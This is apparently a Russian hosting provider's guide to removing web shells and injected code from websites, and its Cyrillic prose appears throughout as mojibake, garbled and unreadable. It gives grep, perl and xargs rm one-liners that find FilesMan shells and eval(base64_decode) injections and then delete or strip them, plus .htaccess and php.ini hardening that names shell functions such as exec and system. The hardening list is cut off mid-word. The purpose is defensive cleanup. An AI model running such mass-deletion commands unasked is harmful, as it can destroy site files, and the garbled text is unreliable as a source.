ÐšÐ¾Ð¼Ð°Ð½Ð´Ð°, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ• ÑƒÐ´Ð°Ð»Ð¸Ñ‚ Ð²ÐµÐ±-ÑˆÐµÐ»Ð»Ñ‹ FilesMan: cat
malware1 | xargs grep -Rils 'FilesMan' | xargs grep -Rils 'auth_pass' | xargs rm
&
 
Ð¡Ð¼Ð¾Ñ‚Ñ€Ð¸Ð¼ Ð´Ð»Ñ• ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ Ð¿Ð°Ñ‚Ñ‚ÐµÑ€Ð½Ð° Ð¸ Ð¿Ð¾ Ñ…Ð¾Ð´Ñƒ
Ð»Ð¸Ð±Ð¾ Ñ‡Ð¸Ñ•Ñ‚Ð¸Ð¼ Ñ„Ð°Ð¹Ð»Ñ‹, Ð»Ð¸Ð±Ð¾ ÑƒÐ´Ð°Ð»Ñ•ÐµÐ¼. cat malware1 |
xargs grep -Rils 'b=4594'
 
malware2: 
Ð§Ð¸Ñ•Ñ‚ÐºÐ° ÐºÐ¾Ð´Ð° Ð¾Ñ‚ Ð²Ð¾Ð·Ð¼Ð¾Ð¶Ð½Ñ‹Ñ… Ð²Ñ•Ñ‚Ð°Ð²Ð¾Ðº: cat malware2 |
xargs grep -Rils 'DQplcnJ' | xargs perl -pi -e
's/eval(base64_decode("DQplcn.*fQ0KfQ=="));//g' &
 cat malware2 | xargs grep -Rils 'DQplcnJ' | xargs perl -pi -e
's/eval(base64_decode("DQplcn.*Cn0NCn0="));//g' &
 cat malware2 | xargs grep -Rils 'DQplcnJ' | xargs perl -pi -e
's/eval(base64_decode("DQplcn.*DQp9DQp9"));//g' &
 
Ð¡Ð¼Ð¾Ñ‚Ñ€Ð¸Ð¼ ÐºÐ°Ð¶Ð´Ñ‹Ð¹ Ð¿Ð°Ñ‚Ñ‚ÐµÑ€Ð½ Ð¾Ñ‚Ð´ÐµÐ»ÑŒÐ½Ð¾ Ð¸ Ñ‚Ð°ÐºÐ¶Ðµ
Ð»Ð¸Ð±Ð¾ Ñ‡Ð¸Ñ•Ñ‚Ð¸Ð¼, Ð»Ð¸Ð±Ð¾ ÑƒÐ´Ð°Ð»Ñ•ÐµÐ¼ Ñ„Ð°Ð¹Ð»: cat malware1 | xargs
grep -Rils
'Ð¿Ð°Ñ‚Ñ‚ÐµÑ€Ð½_Ð¸Ð·_Ð²Ñ‚Ð¾Ñ€Ð¾Ð¹_Ð´Ð»Ð¸Ð½Ð½Ð¾Ð¹_ÐºÐ¾Ð¼Ð°Ð½Ð´Ñ‹_Ð¸Ð·_Ð¿ÑƒÐ½ÐºÑ‚Ð
°_3'
 

 ÐŸÑ€Ð¾Ñ„Ð¸Ð»Ð°ÐºÑ‚Ð¸ÐºÐ° Ð·Ð°Ñ‰Ð¸Ñ‚Ñ‹
Ð¾Ñ‚ Ð²Ð¸Ñ€ÑƒÑ•Ð¾Ð²
Ð•Ðµ Ñ•ÐµÐºÑ€ÐµÑ‚, Ñ‡Ñ‚Ð¾ Ñ‡ÐµÐ¼ Ð´Ð°Ð»ÑŒÑˆÐµ, Ñ‚ÐµÐ¼ Ð±Ð¾Ð»ÑŒÑˆÐµ
Ñ•Ñ‚Ð°Ð½Ð¾Ð²Ð¸Ñ‚Ñ•Ñ• Ð²Ñ€ÐµÐ´Ð¾Ð½Ð¾Ñ•Ð½Ð¾Ð³Ð¾ ÐºÐ¾Ð´Ð°,
Ñ•Ð¿Ð¾Ñ•Ð¾Ð±Ð½Ð¾Ð³Ð¾ Ð¿Ð¾Ñ€Ð°Ð·Ð¸Ñ‚ÑŒ Ñ„Ð°Ð¹Ð»Ñ‹ Ð’Ð°ÑˆÐµÐ³Ð¾ Ñ•Ð°Ð¹Ñ‚Ð° Ð¸
Ð²Ñ•Ðµ Ð±Ð¾Ð»ÑŒÑˆÐµ Ñ•Ð¿Ð¾Ñ•Ð¾Ð±Ð¾Ð² Ð·Ð»Ð¾ÑƒÐ¼Ñ‹ÑˆÐ»ÐµÐ½Ð½Ð¸ÐºÐ¸
Ð½Ð°Ñ…Ð¾Ð´Ñ•Ñ‚, Ñ‡Ñ‚Ð¾Ð±Ñ‹ Ð¿Ð¾Ð»ÑƒÑ‡Ð¸Ñ‚ÑŒ Ð´Ð¾Ñ•Ñ‚ÑƒÐ¿ Ðº Ñ„Ð°Ð¹Ð»Ð°Ð¼
Ñ•Ð°Ð¹Ñ‚Ð°. 

Ð•Ðµ Ñ•ÑƒÑ‰ÐµÑ•Ñ‚Ð²ÑƒÐµÑ‚ Ð¿Ð°Ð½Ð°Ñ†ÐµÐ¸, Ñ‡Ñ‚Ð¾Ð±Ñ‹ "Ð»ÐµÐ³ÐºÐ¸Ð¼
Ð´Ð²Ð¸Ð¶ÐµÐ½Ð¸ÐµÐ¼ Ñ€ÑƒÐºÐ¸" Ñ€Ð°Ð· Ð¸ Ð½Ð°Ð²Ñ•ÐµÐ³Ð´Ð° Ð¸Ð·Ð±Ð°Ð²Ð¸Ñ‚ÑŒ
Ñ•Ð²Ð¾Ð¸ Ñ„Ð°Ð¹Ð»Ñ‹ Ð¾Ñ‚ Ð¿ÐµÑ‡Ð°Ð»ÑŒÐ½Ð¾Ð¹ ÑƒÑ‡Ð°Ñ•Ñ‚Ð¸. 

ÐŸÑ€ÐµÐ¶Ð´Ðµ Ð²Ñ•ÐµÐ³Ð¾, Ð±ÐµÐ·Ð¾Ð¿Ð°Ñ•Ð½Ð¾Ñ•Ñ‚ÑŒ Ð’Ð°ÑˆÐ¸Ñ…
Ñ€ÐµÑ•ÑƒÑ€Ñ•Ð¾Ð² Ð·Ð°Ð²Ð¸Ñ•Ð¸Ñ‚ Ð¸Ð¼ÐµÐ½Ð½Ð¾ Ð¾Ñ‚ Ð’Ð°ÑˆÐ¸Ñ… Ð¶Ðµ
Ð´ÐµÐ¹Ñ•Ñ‚Ð²Ð¸Ð¹. Ð’Ð°Ð¼ Ð½ÐµÐ¾Ð±Ñ…Ð¾Ð´Ð¸Ð¼Ð¾ Ñ•Ð½Ð¸Ð·Ð¸Ñ‚ÑŒ ÑˆÐ°Ð½Ñ•
Ð·Ð°Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ• Ñ•Ð°Ð¹Ñ‚Ð° Ð²Ñ€ÐµÐ´Ð¾Ð½Ð¾Ñ•Ð½Ñ‹Ð¼ ÐºÐ¾Ð´Ð¾Ð¼. 

Ð‘Ð¾Ð»ÐµÐµ Ð¿Ð¾Ð´Ñ€Ð¾Ð±Ð½Ð¾ Ñ€Ð°Ñ•Ñ•Ð¼Ð¾Ñ‚Ñ€Ð¸Ð¼ Ð½ÐµÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ðµ
Ð²Ð¾Ð·Ð¼Ð¾Ð¶Ð½Ð¾Ñ•Ñ‚Ð¸ Ð´Ð»Ñ• Ð¾Ñ•ÑƒÑ‰ÐµÑ•Ñ‚Ð²Ð»ÐµÐ½Ð¸Ñ• Ñ•Ñ‚Ð¾Ð³Ð¾. 
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  ÐšÐ°Ðº Ð¿Ñ€ÐµÐ´Ð¾Ñ•Ñ‚ÐµÑ€ÐµÑ‡ÑŒ Ñ•Ð²Ð¾Ð¸ Ð¿Ñ€Ð¾ÐµÐºÑ‚Ñ‹ Ð¾Ñ‚
Ð²Ñ€ÐµÐ´Ð¾Ð½Ð¾Ñ•Ð½Ð¾Ð³Ð¾ ÐºÐ¾Ð´Ð°, Ð° Ñ‚Ð°ÐºÐ¶Ðµ Ñ•ÐµÐ±Ñ• Ð¾Ñ‚
Ð½ÐµÑ€Ð²Ð½Ñ‹Ñ… Ñ•Ñ€Ñ‹Ð²Ð¾Ð² 

     »  ÐŸÑ€ÐµÐ¶Ð´Ðµ, Ñ‡ÐµÐ¼ Ñ€Ð°Ð·Ð¼ÐµÑ‰Ð°Ñ‚ÑŒ Ñ•Ð°Ð¹Ñ‚ Ð½Ð° Ñ•ÐµÑ€Ð²ÐµÑ€Ðµ,
Ð¿Ñ€Ð¾Ð²ÐµÑ€ÑŒÑ‚Ðµ Ð°Ð½Ñ‚Ð¸Ð²Ð¸Ñ€ÑƒÑ•Ð¾Ð¼ Ð²Ñ•Ðµ ÐºÐ¾Ð¼Ð¿ÑŒÑŽÑ‚ÐµÑ€Ñ‹,
Ð½Ð° ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… Ð¼Ð¾Ð³Ð»Ð¸ Ð½Ð°Ñ…Ð¾Ð´Ð¸Ñ‚ÑŒÑ•Ñ• Ñ„Ð°Ð¹Ð»Ñ‹ Ñ•Ð°Ð¹Ñ‚Ð°
Ð¸ Ñ• ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… Ð’Ñ‹ Ð¿Ñ€Ð¾Ð¸Ð·Ð²Ð¾Ð´Ð¸Ñ‚Ðµ
Ð°Ð´Ð¼Ð¸Ð½Ð¸Ñ•Ñ‚Ñ€Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ðµ. Ð”ÐµÐ»Ð°Ð¹Ñ‚Ðµ Ð¿Ñ€Ð¾Ð²ÐµÑ€ÐºÑƒ
Ñ€ÐµÐ³ÑƒÐ»Ñ•Ñ€Ð½Ð¾; 
     »  Ð˜Ñ•Ð¿Ð¾Ð»ÑŒÐ·ÑƒÐ¹Ñ‚Ðµ Ð½Ð¾Ð²Ñ‹Ðµ Ð²ÐµÑ€Ñ•Ð¸Ð¸ CMS Ð¸ Ð²Ñ•ÐµÑ…
ÑˆÐ°Ð±Ð»Ð¾Ð½Ð¾Ð²/Ð¿Ð»Ð°Ð³Ð¸Ð½Ð¾Ð²/Ñ•ÐºÑ€Ð¸Ð¿Ñ‚Ð¾Ð² Ð´Ð»Ñ• Ñ•Ð°Ð¹Ñ‚Ð°,
Ñ€ÐµÐ³ÑƒÐ»Ñ•Ñ€Ð½Ð¾ Ð´ÐµÐ»Ð°Ð¹Ñ‚Ðµ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ•. ÐžÐ±Ñ€Ð°Ñ‚Ð¸Ñ‚Ðµ
Ñ‚Ð°ÐºÐ¶Ðµ Ð²Ð½Ð¸Ð¼Ð°Ð½Ð¸Ðµ, Ñ‡Ñ‚Ð¾ nulled-Ð²ÐµÑ€Ñ•Ð¸Ð¸ (Ð½Ðµ
Ð»Ð¸Ñ†ÐµÐ½Ð·Ð¸Ð¾Ð½Ð½Ñ‹Ðµ) CMS Ð¼Ð¾Ð³ÑƒÑ‚ Ð¸Ð¼ÐµÑ‚ÑŒ Ñ€Ñ•Ð´
ÑƒÑ•Ð·Ð²Ð¸Ð¼Ð¾Ñ•Ñ‚ÐµÐ¹; 
     »  Ð˜Ñ•Ð¿Ð¾Ð»ÑŒÐ·ÑƒÐµÐ¼Ñ‹Ðµ Ð¿Ð°Ñ€Ð¾Ð»Ð¸ - Ð½ÐµÐ¼Ð°Ð»Ð¾Ð²Ð°Ð¶Ð½Ñ‹Ð¹
Ð¿ÑƒÐ½ÐºÑ‚. ÐœÐµÐ½Ñ•Ð¹Ñ‚Ðµ Ð¿Ð°Ñ€Ð¾Ð»Ð¸ Ð¿ÐµÑ€Ð¸Ð¾Ð´Ð¸Ñ‡ÐµÑ•ÐºÐ¸ Ð¸ Ð½Ðµ
Ð¿Ñ€ÐµÐ½ÐµÐ±Ñ€ÐµÐ³Ð°Ð¹Ñ‚Ðµ Ð¿Ñ€Ð°Ð²Ð¸Ð»Ð°Ð¼ Ð±ÐµÐ·Ð¾Ð¿Ð°Ñ•Ð½Ð¾Ñ•Ñ‚Ð¸
Ð¿Ð°Ñ€Ð¾Ð»ÐµÐ¹; 
     »  Ð¡Ñ‚Ð°Ñ€Ð°Ð¹Ñ‚ÐµÑ•ÑŒ Ð½Ðµ Ñ€Ð°Ð·Ð¼ÐµÑ‰Ð°Ñ‚ÑŒ Ð½ÐµÑ•ÐºÐ¾Ð»ÑŒÐºÐ¾
Ñ•Ð°Ð¹Ñ‚Ð¾Ð² Ð² Ð´Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ð¸ Ð¾Ð´Ð½Ð¾Ð³Ð¾
Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ•, Ð° Ð¿Ð¾ Ð²Ð¾Ð·Ð¼Ð¾Ð¶Ð½Ð¾Ñ•Ñ‚Ð¸
Ñ•Ð¾Ð·Ð´Ð°Ð²Ð°Ð¹Ñ‚Ðµ Ð¾Ñ‚Ð´ÐµÐ»ÑŒÐ½Ð¾Ð³Ð¾ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ• Ð´Ð»Ñ•
ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾  - Ñ‚Ð°Ðº Ð’Ñ‹ Ð¸Ð·Ð¾Ð»Ð¸Ñ€ÑƒÐµÑ‚Ðµ Ñ•Ð°Ð¹Ñ‚Ñ‹ Ð´Ñ€ÑƒÐ³ Ð¾Ñ‚
Ð´Ñ€ÑƒÐ³Ð° Ð½Ð° Ñ•Ð»ÑƒÑ‡Ð°Ð¹ Ð·Ð°Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ•; 
     »  Ð’Ð¾Ð·ÑŒÐ¼Ð¸Ñ‚Ðµ Ð·Ð° Ð¿Ñ€Ð°Ð²Ð¸Ð»Ð¾ Ð´ÐµÐ»Ð°Ñ‚ÑŒ Ñ€ÐµÐ·ÐµÑ€Ð²Ð½Ñ‹Ðµ
ÐºÐ¾Ð¿Ð¸Ð¸ (Ð±Ñ•ÐºÐ°Ð¿Ñ‹) Ñ•Ð°Ð¹Ñ‚Ð¾Ð². ÐšÐ°Ðº Ñ‚Ð¾Ð»ÑŒÐºÐ¾
Ð·Ð°ÐºÐ¾Ð½Ñ‡Ð¸Ð»Ð¸ Ñ€Ð°Ð·Ð¼ÐµÑ‰Ð°Ñ‚ÑŒ Ñ•Ð°Ð¹Ñ‚ Ð½Ð° Ñ•ÐµÑ€Ð²ÐµÑ€Ðµ Ð¸
Ð½Ð°Ð¿Ð¾Ð»Ð½Ñ•Ñ‚ÑŒ ÐµÐ³Ð¾ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð¾Ð¼, Ñ•Ð´ÐµÐ»Ð°Ð¹Ñ‚Ðµ ÐµÐ³Ð¾
Ð±Ñ•ÐºÐ°Ð¿, Ñ‡Ñ‚Ð¾Ð±Ñ‹ Ð’Ñ‹ Ð²Ñ•ÐµÐ³Ð´Ð° Ñ•Ð¼Ð¾Ð³Ð»Ð¸
Ð²Ð¾Ñ•Ñ•Ñ‚Ð°Ð½Ð¾Ð²Ð¸Ñ‚ÑŒ Ñ„Ð°Ð¹Ð»Ñ‹ Ñ•Ð°Ð¹Ñ‚Ð°. ÐžÐ±Ñ•Ð·Ð°Ñ‚ÐµÐ»ÑŒÐ½Ð¾
Ð½Ð°Ñ•Ñ‚Ñ€Ð¾Ð¹Ñ‚Ðµ Ð³Ñ€Ð°Ñ„Ð¸Ðº Ñ€ÐµÐ·ÐµÑ€Ð²Ð½Ð¾Ð³Ð¾
ÐºÐ¾Ð¿Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ• Ð² Ð¿Ð°Ð½ÐµÐ»Ð¸ ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ•
Ñ•ÐµÑ€Ð²ÐµÑ€Ð¾Ð¼ ISPmanager (ÐµÑ•Ð»Ð¸ Ð’Ñ‹ Ð¸Ñ•Ð¿Ð¾Ð»ÑŒÐ·ÑƒÐµÑ‚Ðµ ÐµÐµ).
Ð˜Ð½Ñ•Ñ‚Ñ€ÑƒÐºÑ†Ð¸Ñ• Ð·Ð´ÐµÑ•ÑŒ; 
     »  Ð¡Ð»Ð°Ð±Ð¾Ðµ Ð¼ÐµÑ•Ñ‚Ð¾ Ñ•Ð°Ð¹Ñ‚Ð° - Ñ•Ñ‚Ð¾ Ð´Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ð¸ Ñ•
Ð¿Ñ€Ð°Ð²Ð°Ð¼Ð¸ Ð´Ð¾Ñ•Ñ‚ÑƒÐ¿Ð° 777 (Ð½Ð°Ð¿Ñ€Ð¸Ð¼ÐµÑ€, uploads), ÐºÑƒÐ´Ð°
Ð·Ð»Ð¾ÑƒÐ¼Ñ‹ÑˆÐ»ÐµÐ½Ð½Ð¸ÐºÐ¸ Ð¼Ð¾Ð³ÑƒÑ‚ Ð¿Ð¾Ð¼ÐµÑ•Ñ‚Ð¸Ñ‚ÑŒ
Ð²Ñ€ÐµÐ´Ð¾Ð½Ð¾Ñ•Ð½Ñ‹Ðµ Ñ•ÐºÑ€Ð¸Ð¿Ñ‚Ñ‹. Ð—Ð°Ð¿Ñ€ÐµÑ‚Ð¸Ñ‚Ðµ
Ð¸Ñ•Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ðµ ÐºÐ¾Ð´Ð° Ñ• Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ .htaccess Ð² Ñ‚Ð°ÐºÐ¸Ñ…
Ð´Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ñ•Ñ…. Ð”Ð»Ñ• Ñ•Ñ‚Ð¾Ð³Ð¾ Ñ•Ð¾Ð·Ð´Ð°Ð¹Ñ‚Ðµ Ñ„Ð°Ð¹Ð» Ñ•
Ð¸Ð¼ÐµÐ½ÐµÐ¼ .htaccess Ð² Ð½ÐµÐ¾Ð±Ñ…Ð¾Ð´Ð¸Ð¼Ð¾Ð¹ Ð´Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ð¸ Ñ•
Ñ•Ð»ÐµÐ´ÑƒÑŽÑ‰Ð¸Ð¼ Ñ•Ð¾Ð´ÐµÑ€Ð¶Ð¸Ð¼Ñ‹Ð¼: 
RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx
.shtml .shtm .fcgi .fpl .jsp .htm .html .wml
 AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6
.phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
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     »  Ð’ Ñ„Ð°Ð¹Ð»Ðµ ÐºÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ð¸ PHP (php.ini) Ð¾Ñ‚ÐºÐ»ÑŽÑ‡Ð¸Ñ‚Ðµ
Ð½ÐµÐ¸Ñ•Ð¿Ð¾Ð»ÑŒÐ·ÑƒÐµÐ¼Ñ‹Ðµ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ Ð¸Ð· Ñ•Ð¿Ð¸Ñ•ÐºÐ° Ð² Ð¾Ð¿Ñ†Ð¸Ð¸
disable_functions (Ð¸Ñ•Ð¿Ð¾Ð»ÑŒÐ·ÑƒÐµÐ¼Ñ‹Ðµ ÑƒÐ±ÐµÑ€Ð¸Ñ‚Ðµ): 
disable_functions = exec, mail, passthru, shell_exec, system, proc_open, popen,
curl_exec, curl_multi_exec, parse_ini_file, show_sourÂ  
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